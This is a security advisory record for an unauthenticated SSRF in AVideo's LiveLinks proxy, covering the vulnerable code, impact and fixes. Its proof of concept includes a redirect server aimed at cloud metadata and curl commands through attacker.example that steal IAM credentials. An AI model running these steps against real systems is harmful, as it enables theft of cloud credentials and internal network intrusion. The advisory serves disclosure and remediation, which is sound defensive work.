{"id":"GHSA-9x67-f2v7-63rw","summary":"AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy","details":"## Summary\nThe `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.\n\n## Affected Component\n- `plugin/LiveLinks/proxy.php` — lines 38-42 (redirect handling without SSRF re-validation)\n- `objects/functionsBrowser.php` — `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)\n\n## Description\n\n### Missing SSRF re-validation after HTTP redirect\n\nThe `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 — which follows HTTP redirects — the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:\n\n```php\n// plugin/LiveLinks/proxy.php — lines 17-42\n\n// SSRF Protection: Block requests to internal/private networks\nif (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks initial URL\n    _error_log(\"LiveLinks proxy: SSRF protection blocked URL: \" . $_GET['livelink']);\n    echo \"Access denied: URL targets restricted network\";\n    exit;\n}\n\n// ... stream context setup ...\n\n$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirects\nif (!empty($headers[\"Location\"])) {\n    $_GET['livelink'] = $headers[\"Location\"];                 // line 40: attacker-controlled redirect target\n    $urlinfo = parse_url($_GET['livelink']);\n    $content = fakeBrowser($_GET['livelink']);                 // line 42: fetches internal URL, NO SSRF check\n    $_GET['livelink'] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### No SSRF protections in fakeBrowser()\n\nThe `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:\n\n```php\n// objects/functionsBrowser.php — lines 123-141\nfunction fakeBrowser($url)\n{\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $url);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');\n    $output = curl_exec($ch);\n    curl_close($ch);\n    return $output;\n}\n```\n\nNo IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.\n\n### Endpoint is fully unauthenticated\n\nThe file begins by explicitly opting out of database and session initialization:\n\n```php\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\nrequire_once '../../videos/configuration.php';\n```\n\nThere is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).\n\n### Inconsistent defense pattern\n\nThe codebase demonstrates awareness of SSRF risks — `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.\n\n### Double SSRF exposure\n\nThere are actually two SSRF requests in the redirect path:\n1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers\n2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP\n\nThe second is more impactful as it returns the full content to the attacker.\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:\n\n```python\n# redirect_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2:** Send the request to the target AVideo instance:\n\n```bash\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect\"\n```\n\n**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.\n\n**Step 3:** Escalate to IAM credential theft:\n\n```bash\n# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole-name\u003e\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam\"\n```\n\nThis returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.\n\n## Impact\n\n- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials\n- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure\n- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker\n- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance\n\n## Recommended Remediation\n\n### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)\n\nApply the same SSRF check to the redirect URL before fetching it:\n\n```php\n$headers = get_headers($_GET['livelink'], 1, $context);\nif (!empty($headers[\"Location\"])) {\n    $_GET['livelink'] = $headers[\"Location\"];\n\n    // Re-validate redirect target against SSRF\n    if (!isSSRFSafeURL($_GET['livelink'])) {\n        _error_log(\"LiveLinks proxy: SSRF protection blocked redirect URL: \" . $_GET['livelink']);\n        echo \"Access denied: Redirect URL targets restricted network\";\n        exit;\n    }\n\n    $urlinfo = parse_url($_GET['livelink']);\n    $content = fakeBrowser($_GET['livelink']);\n    $_GET['livelink'] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### Option 2: Disable redirect following in get_headers()\n\nPrevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:\n\n```php\n$options = array(\n    'http' =\u003e array(\n        'user_agent' =\u003e '...',\n        'method' =\u003e 'GET',\n        'header' =\u003e array(\"Referer: localhost\\r\\nAccept-language: en\\r\\nCookie: foo=bar\\r\\n\"),\n        'follow_location' =\u003e 0,  // Do not follow redirects\n        'max_redirects' =\u003e 0,\n    )\n);\n```\n\nThen validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.\n\n**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","aliases":["CVE-2026-33039"],"modified":"2026-07-08T08:29:22.405724602Z","published":"2026-03-17T20:33:06Z","related":["CVE-2026-41055"],"database_specific":{"github_reviewed_at":"2026-03-17T20:33:06Z","nvd_published_at":"2026-03-20T06:16:12Z","cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33039"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-9x67-f2v7-63rw/GHSA-9x67-f2v7-63rw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]}